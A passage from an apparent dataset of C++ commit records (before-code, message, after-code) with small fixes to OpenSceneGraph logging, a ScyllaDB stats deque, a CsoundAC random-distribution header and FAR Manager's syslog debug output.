osg::g_NotifyLevel = osg::NOTICE;\nstd::auto_ptr<ofstream> osg::g_NotifyNulStream; \nbool osg::g_NotifyInit = false;\n\nvoid osg::setNotifyLevel(osg::NotifySeverity severity)\n{\n osg::initNotifyLevel();\n g_NotifyLevel = severity;\n}\n\n\nosg::NotifySeverity osg::getNotifyLevel()\n{\n osg::initNotifyLevel();\n return g_NotifyLevel;\n}\n\n\nbool osg::initNotifyLevel()\n{\n if (g_NotifyInit) return true;\n \n g_NotifyInit = true;\n\n \/\/ set up global notify null stream for inline notify\n#if defined(WIN32) && !(defined(__CYGWIN__) || defined(__MINGW32__))\n g_NotifyNulStream = std::auto_ptr<ofstream>(osgNew std::ofstream (\"nul\"));\n#else\n g_NotifyNulStream.reset(osgNew std::ofstream (\"\/dev\/null\"));\n#endif\n\n \/\/ g_NotifyLevel\n \/\/ =============\n\n g_NotifyLevel = osg::NOTICE; \/\/ Default value\n\n char *OSGNOTIFYLEVEL=getenv(\"OSGNOTIFYLEVEL\");\n if(OSGNOTIFYLEVEL)\n {\n\n std::string stringOSGNOTIFYLEVEL(OSGNOTIFYLEVEL);\n\n \/\/ Convert to upper case\n for(std::string::iterator i=stringOSGNOTIFYLEVEL.begin();\n i!=stringOSGNOTIFYLEVEL.end();\n ++i)\n {\n *i=toupper(*i);\n }\n\n if(stringOSGNOTIFYLEVEL.find(\"ALWAYS\")!=std::string::npos) g_NotifyLevel=osg::ALWAYS;\n else if(stringOSGNOTIFYLEVEL.find(\"FATAL\")!=std::string::npos) g_NotifyLevel=osg::FATAL;\n else if(stringOSGNOTIFYLEVEL.find(\"WARN\")!=std::string::npos) g_NotifyLevel=osg::WARN;\n else if(stringOSGNOTIFYLEVEL.find(\"NOTICE\")!=std::string::npos) g_NotifyLevel=osg::NOTICE;\n else if(stringOSGNOTIFYLEVEL.find(\"INFO\")!=std::string::npos) g_NotifyLevel=osg::INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_INFO\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_FP\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_FP;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n \n }\n\n return true;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * Modified by ScyllaDB\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <deque>\n\nnamespace utils {\n\n\/**\n * bounded threadsafe deque\n *\/\nclass bounded_stats_deque {\nprivate:\n std::deque<long> _deque;\n long _sum = 0;\n int _max_size;\npublic:\n bounded_stats_deque(int size)\n : _max_size(size) {\n }\n\n int size() {\n return _deque.size();\n }\n\n void add(long i) {\n if (size() >= _max_size) {\n auto removed = _deque.front();\n _deque.pop_front();\n _sum -= removed;\n }\n _deque.push_back(i);\n _sum += i;\n }\n\n long sum() {\n return _sum;\n }\n\n double mean() {\n return size() > 0 ? ((double) sum()) \/ size() : 0;\n }\n\n const std::deque<long>& deque() const {\n return _deque;\n }\n};\n\n}\n<commit_msg>bounded_stats_queue: add missing const qualifiers<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * Modified by ScyllaDB\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <deque>\n\nnamespace utils {\n\n\/**\n * bounded threadsafe deque\n *\/\nclass bounded_stats_deque {\nprivate:\n std::deque<long> _deque;\n long _sum = 0;\n int _max_size;\npublic:\n bounded_stats_deque(int size)\n : _max_size(size) {\n }\n\n int size() const {\n return _deque.size();\n }\n\n void add(long i) {\n if (size() >= _max_size) {\n auto removed = _deque.front();\n _deque.pop_front();\n _sum -= removed;\n }\n _deque.push_back(i);\n _sum += i;\n }\n\n long sum() const {\n return _sum;\n }\n\n double mean() const {\n return size() > 0 ? ((double) sum()) \/ size() : 0;\n }\n\n const std::deque<long>& deque() const {\n return _deque;\n }\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * C S O U N D V S T\n *\n * A VST plugin version of Csound, with Python scripting.\n *\n * L I C E N S E\n *\n * This software is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n#ifndef RANDOM_H\n#define RANDOM_H\n#if defined(_MSC_VER) && !defined(__GNUC__)\n#pragma warning (disable:4786)\n#endif\n\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\n %}\n#else\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\nusing namespace boost::numeric;\n#endif\n\nnamespace csound\n{\n\n \/**\n * A random value will be sampled from the specified distribution,\n * translated and scaled as specified,\n * and set in the specified row and column of the local coordinates.\n * The resulting matrix will be used in place of the local coordinates\n * when traversing the music graph.\n * If eventCount is greater than zero, a new event will be created\n * for each of eventCount samples,\n * which will be transformed by the newly sampled local coordinates.\n *\/\n class SILENCE_PUBLIC Random :\n public Node\n {\n protected:\n#if !defined(SWIG)\n void *generator_;\n boost::variate_generator<boost::mt19937, boost::uniform_smallint<> > *uniform_smallint_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_int<> > *uniform_int_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_real<> > *uniform_real_generator;\n boost::variate_generator<boost::mt19937, boost::bernoulli_distribution<> > *bernoulli_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::geometric_distribution<> > *geometric_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::triangle_distribution<> > *triangle_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::exponential_distribution<> > *exponential_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::normal_distribution<> > *normal_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::lognormal_distribution<> > *lognormal_distribution_generator;\n public:\n static boost::mt19937 mersenneTwister;\n#endif\n std::string distribution;\n int row;\n int column;\n int eventCount;\n bool incrementTime;\n double minimum;\n double maximum;\n double q;\n double a;\n double b;\n double c;\n double Lambda;\n double mean;\n double sigma;\n Random();\n virtual ~Random();\n virtual double sample() const;\n virtual ublas::matrix<double> getLocalCoordinates() const;\n virtual void createDistribution(std::string distribution);\n virtual void produceOrTransform(Score &score, size_t beginAt, size_t endAt, const ublas::matrix<double> &globalCoordinates);\n static void seed(int s);\n };\n}\n#endif\n<commit_msg>Restore necessary functions to \"public\".<commit_after>\/*\n * C S O U N D V S T\n *\n * A VST plugin version of Csound, with Python scripting.\n *\n * L I C E N S E\n *\n * This software is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n#ifndef RANDOM_H\n#define RANDOM_H\n\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include \"Node.hpp\"\n %}\n#else\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\nusing namespace boost::numeric;\n#endif\n\nnamespace csound\n{\n\n \/**\n * A random value will be sampled from the specified distribution,\n * translated and scaled as specified,\n * and set in the specified row and column of the local coordinates.\n * The resulting matrix will be used in place of the local coordinates\n * when traversing the music graph.\n * If eventCount is greater than zero, a new event will be created\n * for each of eventCount samples,\n * which will be transformed by the newly sampled local coordinates.\n *\/\n class SILENCE_PUBLIC Random :\n public Node\n {\n protected:\n#if !defined(SWIG)\n void *generator_;\n boost::variate_generator<boost::mt19937, boost::uniform_smallint<> > *uniform_smallint_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_int<> > *uniform_int_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_real<> > *uniform_real_generator;\n boost::variate_generator<boost::mt19937, boost::bernoulli_distribution<> > *bernoulli_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::geometric_distribution<> > *geometric_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::triangle_distribution<> > *triangle_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::exponential_distribution<> > *exponential_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::normal_distribution<> > *normal_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::lognormal_distribution<> > *lognormal_distribution_generator;\n public:\n static boost::mt19937 mersenneTwister;\n#endif\n public:\n std::string distribution;\n int row;\n int column;\n int eventCount;\n bool incrementTime;\n double minimum;\n double maximum;\n double q;\n double a;\n double b;\n double c;\n double Lambda;\n double mean;\n double sigma;\n Random();\n virtual ~Random();\n virtual double sample() const;\n virtual ublas::matrix<double> getLocalCoordinates() const;\n virtual void createDistribution(std::string distribution);\n virtual void produceOrTransform(Score &score, size_t beginAt, size_t endAt, const ublas::matrix<double> &globalCoordinates);\n static void seed(int s);\n };\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\nsyslog.cpp\n\n :-)\n\n*\/\n\n\/* Revision: 1.14 25.07.2001 $ *\/\n\n\/*\nModify:\n 25.07.2001 SVS\n - VC\n 24.07.2001 SVS\n + (IsDebuggerPresent), \n LOG- (OutputDebugString)\n ! 98- .\n 04.07.2001 SVS\n ! LOG- :-)\n + \n 27.06.2001 SVS\n ! LOG- :-)\n %FAR%\\$Log \n Far.YYYYMMDD.BILD.log - BILD=%05d\n 25.06.2001 SVS\n ! StrFTime .\n 16.05.2001 SVS\n ! DumpExceptionInfo -> farexcpt.cpp\n + _SYSLOG_KM()\n 09.05.2001 OT\n ! , _D(x), \n 07.05.2001 SVS\n + DumpExceptionInfo FAR_VERSION\n 06.05.2001 DJ\n ! #include\n 06.05.2001 SVS\n ! SysLog* ;-)\n 29.04.2001 \n + NWZ \n 28.04.2001 SVS\n - , CONTEXT_INTEGER \n CONTEXT_SEGMENTS\n ! SysLog()\n + SysLogDump()\n = NULL, ,\n .\n 26.01.2001 SVS\n ! DumpExeptionInfo -> DumpExceptionInfo ;-)\n 23.01.2001 SVS\n + DumpExeptionInfo()\n 22.12.2000 SVS\n + \n*\/\n\n#include \"headers.hpp\"\n#pragma hdrstop\n\n#include \"plugin.hpp\"\n#include \"global.hpp\"\n#include \"fn.hpp\"\n#include \"plugins.hpp\"\n\n#if !defined(SYSLOG)\n #if defined(SYSLOG_OT) || defined(SYSLOG_SVS) || defined(SYSLOG_DJ) || defined(VVM) || defined(SYSLOG_AT) || defined(SYSLOG_IS) || defined(SYSLOG_tran) || defined(SYSLOG_SKV) || defined(SYSLOG_NWZ) || defined(SYSLOG_KM)\n #define SYSLOG\n #endif\n#endif\n\n\n#if defined(SYSLOG)\nchar LogFileName[MAX_FILE];\nstatic FILE *LogStream=0;\nstatic int Indent=0;\nstatic char *PrintTime(char *timebuf);\n\nextern \"C\" {\nWINBASEAPI BOOL WINAPI IsDebuggerPresent(VOID);\n};\n\n#endif\n\n#if defined(SYSLOG)\nchar *MakeSpace(void)\n{\n static char Buf[60]=\" \";\n if(Indent)\n memset(Buf+1,0xB3,Indent);\n Buf[1+Indent]=0;\n return Buf;\n}\n#endif\n\nFILE * OpenLogStream(char *file)\n{\n#if defined(SYSLOG)\n time_t t;\n struct tm *time_now;\n char RealLogName[NM*2];\n SYSTEMTIME st;\n\n GetLocalTime(&st);\n sprintf(RealLogName,\"%s\\\\Far.%04d%02d%02d.%05d.log\",\n file,st.wYear,st.wMonth,st.wDay,HIWORD(FAR_VERSION));\n return _fsopen(RealLogName,\"a+t\",SH_DENYWR);\n#else\n return NULL;\n#endif\n}\n\nvoid OpenSysLog()\n{\n#if defined(SYSLOG)\n if ( LogStream )\n fclose(LogStream);\n DWORD Attr;\n\n GetModuleFileName(NULL,LogFileName,sizeof(LogFileName));\n char *Ptr=strrchr(LogFileName,'\\\\');\n strcpy(Ptr,\"\\\\$Log\");\n Attr=GetFileAttributes(LogFileName);\n if(Attr == -1)\n {\n if(!CreateDirectory(LogFileName,NULL))\n *Ptr=0;\n }\n else if(!(Attr&FILE_ATTRIBUTE_DIRECTORY))\n *Ptr=0;\n LogStream=OpenLogStream(LogFileName);\n \/\/if ( !LogStream )\n \/\/{\n \/\/ fprintf(stderr,\"Can't open log file '%s'\\n\",LogFileName);\n \/\/}\n#endif\n}\n\nvoid CloseSysLog(void)\n{\n#if defined(SYSLOG)\n fclose(LogStream);\n LogStream=0;\n#endif\n}\n\nvoid ShowHeap()\n{\n#if defined(SYSLOG) && defined(HEAPLOG)\n _HEAPINFO hi;\n\n SysLog( \" Size Status\" );\n SysLog( \" ---- ------\" );\n DWORD Sz=0;\n hi._pentry=NULL;\n\/\/ int *__pentry;\n while( _rtl_heapwalk( &hi ) == _HEAPOK )\n {\n SysLog( \"%7u %s (%p)\", hi._size, (hi._useflag ? \"used\" : \"free\"),hi.__pentry);\n Sz+=hi._useflag?hi._size:0;\n }\n SysLog( \" ---- ------\" );\n SysLog( \"%7u \", Sz);\n\n#endif\n}\n\n\nvoid CheckHeap(int NumLine)\n{\n#if defined(SYSLOG) && defined(HEAPLOG)\n if (_heapchk()==_HEAPBADNODE)\n {\n SysLog(\"Error: Heap broken, Line=%d\",NumLine);\n }\n#endif\n}\n\n\nvoid SysLog(int i)\n{\n#if defined(SYSLOG)\n Indent+=i;\n if ( Indent<0 )\n Indent=0;\n#endif\n}\n\n#if defined(SYSLOG)\nstatic char *PrintTime(char *timebuf)\n{\n SYSTEMTIME st;\n GetLocalTime(&st);\n\/\/ sprintf(timebuf,\"%02d.%02d.%04d %2d:%02d:%02d.%03d\",\n\/\/ st.wDay,st.wMonth,st.wYear,st.wHour,st.wMinute,st.wSecond,st.wMilliseconds);\n sprintf(timebuf,\"%02d:%02d:%02d.%03d\",st.wHour,st.wMinute,st.wSecond,st.wMilliseconds);\n return timebuf;\n}\n#endif\n\nvoid SysLog(char *fmt,...)\n{\n#if defined(SYSLOG)\n char msg[MAX_LOG_LINE];\n\n va_list argptr;\n va_start( argptr, fmt );\n\n vsprintf( msg, fmt, argptr );\n va_end(argptr);\n\n OpenSysLog();\n if ( LogStream )\n {\n char timebuf[64];\n fprintf(LogStream,\"%s %s%s\\n\",PrintTime(timebuf),MakeSpace(),msg);\n fflush(LogStream);\n }\n CloseSysLog();\n if(IsDebuggerPresent())\n {\n OutputDebugString(msg);\n }\n#endif\n}\n\n\/\/\/\nvoid SysLog(int l,char *fmt,...)\n{\n#if defined(SYSLOG)\n char msg[MAX_LOG_LINE];\n\n va_list argptr;\n va_start( argptr, fmt );\n\n vsprintf( msg, fmt, argptr );\n va_end(argptr);\n\n SysLog(l);\n OpenSysLog();\n if ( LogStream )\n {\n char timebuf[64];\n fprintf(LogStream,\"%s %s%s\\n\",PrintTime(timebuf),MakeSpace(),msg);\n fflush(LogStream);\n }\n CloseSysLog();\n if(IsDebuggerPresent())\n {\n OutputDebugString(msg);\n }\n#endif\n}\n\/\/\/\n\nvoid SysLogDump(char *Title,DWORD StartAddress,LPBYTE Buf,int SizeBuf,FILE *fp)\n{\n#if defined(SYSLOG)\n int CY=(SizeBuf+15)\/16;\n int X,Y;\n int InternalLog=fp==NULL?TRUE:FALSE;\n\n\/\/ char msg[MAX_LOG_LINE];\n\n if(InternalLog)\n {\n OpenSysLog();\n fp=LogStream;\n if(fp)\n {\n char timebuf[64];\n fprintf(fp,\"%s %s(%s)\\n\",PrintTime(timebuf),MakeSpace(),NullToEmpty(Title));\n }\n }\n\n if (fp)\n {\n char TmpBuf[17];\n int I;\n TmpBuf[16]=0;\n if(!InternalLog && Title && *Title)\n fprintf(fp,\"%s\\n\",Title);\n for(Y=0; Y < CY; ++Y)\n {\n memset(TmpBuf,' ',16);\n fprintf(fp, \" %08X: \",StartAddress+Y*16);\n for(X=0; X < 16; ++X)\n {\n if((I=Y*16+X < SizeBuf) != 0)\n fprintf(fp,\"%02X \",Buf[Y*16+X]&0xFF);\n else\n fprintf(fp,\" \");\n TmpBuf[X]=I?(Buf[Y*16+X] < 32?'.':Buf[Y*16+X]):' ';\n if(X == 7)\n fprintf(fp, \" \");\n }\n fprintf(fp,\"| %s\\n\",TmpBuf);\n }\n fprintf(fp,\"\\n\");\n fflush(fp);\n }\n\n if(InternalLog)\n CloseSysLog();\n#endif\n}\n<commit_msg>FAR patch 00903.OutputDebugString Дата : 15.08.2001 Сделал : Oleg Taranenko Описание : \"Перевод строки\" в дебагере среды VC Измененные файлы : syslog.cpp Новые файлы : Удаленные файлы : Состав : 00903.OutputDebugString.txt syslog.cpp.903.diff Основан на патче : 902 Дополнение :<commit_after>\/*\nsyslog.cpp\n\n :-)\n\n*\/\n\n\/* Revision: 1.15 15.08.2001 $ *\/\n\n\/*\nModify:\n 15.08.2001 OT\n - \" \" VC\n 25.07.2001 SVS\n - VC\n 24.07.2001 SVS\n + (IsDebuggerPresent), \n LOG- (OutputDebugString)\n ! 98- .\n 04.07.2001 SVS\n ! LOG- :-)\n + \n 27.06.2001 SVS\n ! LOG- :-)\n %FAR%\\$Log \n Far.YYYYMMDD.BILD.log - BILD=%05d\n 25.06.2001 SVS\n ! StrFTime .\n 16.05.2001 SVS\n ! DumpExceptionInfo -> farexcpt.cpp\n + _SYSLOG_KM()\n 09.05.2001 OT\n ! , _D(x), \n 07.05.2001 SVS\n + DumpExceptionInfo FAR_VERSION\n 06.05.2001 DJ\n ! #include\n 06.05.2001 SVS\n ! SysLog* ;-)\n 29.04.2001 \n + NWZ \n 28.04.2001 SVS\n - , CONTEXT_INTEGER \n CONTEXT_SEGMENTS\n ! SysLog()\n + SysLogDump()\n = NULL, ,\n .\n 26.01.2001 SVS\n ! DumpExeptionInfo -> DumpExceptionInfo ;-)\n 23.01.2001 SVS\n + DumpExeptionInfo()\n 22.12.2000 SVS\n + \n*\/\n\n#include \"headers.hpp\"\n#pragma hdrstop\n\n#include \"plugin.hpp\"\n#include \"global.hpp\"\n#include \"fn.hpp\"\n#include \"plugins.hpp\"\n\n#if !defined(SYSLOG)\n #if defined(SYSLOG_OT) || defined(SYSLOG_SVS) || defined(SYSLOG_DJ) || defined(VVM) || defined(SYSLOG_AT) || defined(SYSLOG_IS) || defined(SYSLOG_tran) || defined(SYSLOG_SKV) || defined(SYSLOG_NWZ) || defined(SYSLOG_KM)\n #define SYSLOG\n #endif\n#endif\n\n\n#if defined(SYSLOG)\nchar LogFileName[MAX_FILE];\nstatic FILE *LogStream=0;\nstatic int Indent=0;\nstatic char *PrintTime(char *timebuf);\n\nextern \"C\" {\nWINBASEAPI BOOL WINAPI IsDebuggerPresent(VOID);\n};\n\n#endif\n\n#if defined(SYSLOG)\nchar *MakeSpace(void)\n{\n static char Buf[60]=\" \";\n if(Indent)\n memset(Buf+1,0xB3,Indent);\n Buf[1+Indent]=0;\n return Buf;\n}\n#endif\n\nFILE * OpenLogStream(char *file)\n{\n#if defined(SYSLOG)\n time_t t;\n struct tm *time_now;\n char RealLogName[NM*2];\n SYSTEMTIME st;\n\n GetLocalTime(&st);\n sprintf(RealLogName,\"%s\\\\Far.%04d%02d%02d.%05d.log\",\n file,st.wYear,st.wMonth,st.wDay,HIWORD(FAR_VERSION));\n return _fsopen(RealLogName,\"a+t\",SH_DENYWR);\n#else\n return NULL;\n#endif\n}\n\nvoid OpenSysLog()\n{\n#if defined(SYSLOG)\n if ( LogStream )\n fclose(LogStream);\n DWORD Attr;\n\n GetModuleFileName(NULL,LogFileName,sizeof(LogFileName));\n char *Ptr=strrchr(LogFileName,'\\\\');\n strcpy(Ptr,\"\\\\$Log\");\n Attr=GetFileAttributes(LogFileName);\n if(Attr == -1)\n {\n if(!CreateDirectory(LogFileName,NULL))\n *Ptr=0;\n }\n else if(!(Attr&FILE_ATTRIBUTE_DIRECTORY))\n *Ptr=0;\n LogStream=OpenLogStream(LogFileName);\n \/\/if ( !LogStream )\n \/\/{\n \/\/ fprintf(stderr,\"Can't open log file '%s'\\n\",LogFileName);\n \/\/}\n#endif\n}\n\nvoid CloseSysLog(void)\n{\n#if defined(SYSLOG)\n fclose(LogStream);\n LogStream=0;\n#endif\n}\n\nvoid ShowHeap()\n{\n#if defined(SYSLOG) && defined(HEAPLOG)\n _HEAPINFO hi;\n\n SysLog( \" Size Status\" );\n SysLog( \" ---- ------\" );\n DWORD Sz=0;\n hi._pentry=NULL;\n\/\/ int *__pentry;\n while( _rtl_heapwalk( &hi ) == _HEAPOK )\n {\n SysLog( \"%7u %s (%p)\", hi._size, (hi._useflag ? \"used\" : \"free\"),hi.__pentry);\n Sz+=hi._useflag?hi._size:0;\n }\n SysLog( \" ---- ------\" );\n SysLog( \"%7u \", Sz);\n\n#endif\n}\n\n\nvoid CheckHeap(int NumLine)\n{\n#if defined(SYSLOG) && defined(HEAPLOG)\n if (_heapchk()==_HEAPBADNODE)\n {\n SysLog(\"Error: Heap broken, Line=%d\",NumLine);\n }\n#endif\n}\n\n\nvoid SysLog(int i)\n{\n#if defined(SYSLOG)\n Indent+=i;\n if ( Indent<0 )\n Indent=0;\n#endif\n}\n\n#if defined(SYSLOG)\nstatic char *PrintTime(char *timebuf)\n{\n SYSTEMTIME st;\n GetLocalTime(&st);\n\/\/ sprintf(timebuf,\"%02d.%02d.%04d %2d:%02d:%02d.%03d\",\n\/\/ st.wDay,st.wMonth,st.wYear,st.wHour,st.wMinute,st.wSecond,st.wMilliseconds);\n sprintf(timebuf,\"%02d:%02d:%02d.%03d\",st.wHour,st.wMinute,st.wSecond,st.wMilliseconds);\n return timebuf;\n}\n#endif\n\nvoid SysLog(char *fmt,...)\n{\n#if defined(SYSLOG)\n char msg[MAX_LOG_LINE];\n\n va_list argptr;\n va_start( argptr, fmt );\n\n vsprintf( msg, fmt, argptr );\n va_end(argptr);\n\n OpenSysLog();\n if ( LogStream )\n {\n char timebuf[64];\n fprintf(LogStream,\"%s %s%s\\n\",PrintTime(timebuf),MakeSpace(),msg);\n fflush(LogStream);\n }\n CloseSysLog();\n if(IsDebuggerPresent())\n {\n OutputDebugString(msg);\n#ifdef _MSC_VER\n OutputDebugString(\"\\n\");\n#endif _MSC_VER\n }\n#endif\n}\n\n\/\/\/\nvoid SysLog(int l,char *fmt,...)\n{\n#if defined(SYSLOG)\n char msg[MAX_LOG_LINE];\n\n va_list argptr;\n va_start( argptr, fmt );\n\n vsprintf( msg, fmt, argptr );\n va_end(argptr);\n\n SysLog(l);\n OpenSysLog();\n if ( LogStream )\n {\n char timebuf[64];\n fprintf(LogStream,\"%s %s%s\\n\",PrintTime(timebuf),MakeSpace(),msg);\n fflush(LogStream);\n }\n CloseSysLog();\n if(IsDebuggerPresent())\n {\n OutputDebugString(msg);\n }\n#endif\n}\n\/\/\/\n\nvoid SysLogDump(char *Title,DWORD StartAddress,LPBYTE Buf,int SizeBuf,FILE *fp)\n{\n#if defined(SYSLOG)\n int CY=(SizeBuf+15)\/16;\n int X,Y;\n int InternalLog=fp==NULL?TRUE:FALSE;\n\n\/\/ char msg[MAX_LOG_LINE];\n\n if(InternalLog)\n {\n OpenSysLog();\n fp=LogStream;\n if(fp)\n {\n char timebuf[64];\n fprintf(fp,\"%s %s(%s)\\n\",PrintTime(timebuf),MakeSpace(),NullToEmpty(Title));\n }\n }\n\n if (fp)\n {\n char TmpBuf[17];\n int I;\n TmpBuf[16]=0;\n if(!InternalLog && Title && *Title)\n fprintf(fp,\"%s\\n\",Title);\n for(Y=0; Y < CY; ++Y)\n {\n memset(TmpBuf,' ',16);\n fprintf(fp, \" %08X: \",StartAddress+Y*16);\n for(X=0; X < 16; ++X)\n {\n if((I=Y*16+X < SizeBuf) != 0)\n fprintf(fp,\"%02X \",Buf[Y*16+X]&0xFF);\n else\n fprintf(fp,\" \");\n TmpBuf[X]=I?(Buf[Y*16+X] < 32?'.':Buf[Y*16+X]):' ';\n if(X == 7)\n fprintf(fp, \" \");\n }\n fprintf(fp,\"| %s\\n\",TmpBuf);\n }\n fprintf(fp,\"\\n\");\n fflush(fp);\n }\n\n if(InternalLog)\n CloseSysLog();\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>#include <osg\/Notify>\n#include <string>\n\nusing namespace std;\n\nosg::NotifySeverity osg::g_NotifyLevel = osg::NOTICE;\nstd::auto_ptr<ofstream> osg::g_NotifyNulStream; \nbool osg::g_NotifyInit = false;\n\nvoid osg::setNotifyLevel(osg::NotifySeverity severity)\n{\n osg::initNotifyLevel();\n g_NotifyLevel = severity;\n}\n\n\nosg::NotifySeverity osg::getNotifyLevel()\n{\n osg::initNotifyLevel();\n return g_NotifyLevel;\n}\n\n\nbool osg::initNotifyLevel()\n{\n if (g_NotifyInit) return true;\n \n g_NotifyInit = true;\n\n \/\/ set up global notify null stream for inline notify\n#if defined(WIN32) && !defined(__CYGWIN__)\n g_NotifyNulStream.reset(osgNew std::ofstream (\"nul\"));\n#else\n g_NotifyNulStream.reset(osgNew std::ofstream (\"\/dev\/null\"));\n#endif\n\n \/\/ g_NotifyLevel\n \/\/ =============\n\n g_NotifyLevel = osg::NOTICE; \/\/ Default value\n\n char *OSGNOTIFYLEVEL=getenv(\"OSGNOTIFYLEVEL\");\n if(OSGNOTIFYLEVEL)\n {\n\n std::string stringOSGNOTIFYLEVEL(OSGNOTIFYLEVEL);\n\n \/\/ Convert to upper case\n for(std::string::iterator i=stringOSGNOTIFYLEVEL.begin();\n i!=stringOSGNOTIFYLEVEL.end();\n ++i)\n {\n *i=toupper(*i);\n }\n\n if(stringOSGNOTIFYLEVEL.find(\"ALWAYS\")!=std::string::npos) g_NotifyLevel=osg::ALWAYS;\n else if(stringOSGNOTIFYLEVEL.find(\"FATAL\")!=std::string::npos) g_NotifyLevel=osg::FATAL;\n else if(stringOSGNOTIFYLEVEL.find(\"WARN\")!=std::string::npos) g_NotifyLevel=osg::WARN;\n else if(stringOSGNOTIFYLEVEL.find(\"NOTICE\")!=std::string::npos) g_NotifyLevel=osg::NOTICE;\n else if(stringOSGNOTIFYLEVEL.find(\"INFO\")!=std::string::npos) g_NotifyLevel=osg::INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_INFO\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_FP\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_FP;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n \n }\n\n return true;\n\n}\n<commit_msg>Fix for VisualStudio's lack of auto_ptr::reset.<commit_after>#include <osg\/Notify>\n#include <string>\n\nusing namespace std;\n\nosg::NotifySeverity 